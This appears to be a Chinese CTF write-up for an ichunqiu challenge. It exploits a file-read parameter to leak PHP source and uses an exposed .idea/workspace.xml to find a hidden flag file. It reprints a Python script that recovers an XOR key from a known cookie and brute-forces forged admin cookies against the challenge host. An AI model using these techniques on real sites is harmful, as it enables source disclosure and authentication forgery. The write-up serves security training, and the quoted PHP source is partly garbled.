题目在i春秋ctf大本营
打开链接是一张图片,审查元素发现关键词base64,图片的内容都以base64加密后的形式呈现,查看url形式,应该是一个文件读取的漏洞
这里我们可以采用url/index.php?jpg=index.php来获取index.php的源代码经base64加密后的代码
base64解密后得到如下源码:
file:'.$file.'';$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);$file = str_replace("config","_", $file);$txt = base64_encode(file_get_contents($file));echo "";/* * Can you find the flag file? * */?>
这里对jpg传入的file进行一些操作,现将除了数字字母以外的字符删除,接着将config替换成_,接着将file内容进行base64加密
这里的关键是注释中的“Created by PhpStorm”,因为phpstorm写的会有一个 .idea 文件夹,里面存储了一些配置文件
访问url/.idea/workspace.xml,可以看到与index.php同一文件夹下的还有config.php,fl3g_ichuqiu.php
由于上面的代码给出了过滤条件,说明我们这里不能读到config.php,但可以读取fl3g_ichuqiu.php,根据上述代码,_要用config代替
访问url/index.php?jpg=fl3gconfigichuqiu.php,得到源码:
这里的当务之急是要拿到输入的key的值,根据代码的最后一段:当cookie中user的值解密后不为system时,会给我们guest加密后的值,这就提醒我们key的前五位可以通过guest得知
给一下大佬的wp
# coding=utf-8import base64import requeststext = 'guest'crypt = 'YldhV0lHV09O'crypt = base64.b64decode(crypt)rnd = crypt[0:4]crypt = crypt[4:]text1 = ''for i in text: text1 += chr(ord(i) + 10)key = ''for (i, j) in zip(text1, crypt): key += chr(ord(i) ^ ord(j))text = 'system'text1 = ''for i in text: text1 += chr(ord(i) +10)cookies = []for i in '0123456789abcdef': key1 = key + i tmp = '' for (j, k) in zip(text1, key1): tmp += chr(ord(j) ^ ord(k)) cookies.append(base64.b64encode(rnd + tmp))#r = requests.session()for i in cookies: cookie = { 'user':i} r = requests.session() result = r.get('http://2ec98f1fcd174a7c941546f366c1e55cc6935c1e07604c71.game.ichunqiu.com/fl3g_ichuqiu.php', cookies=cookie) print result.text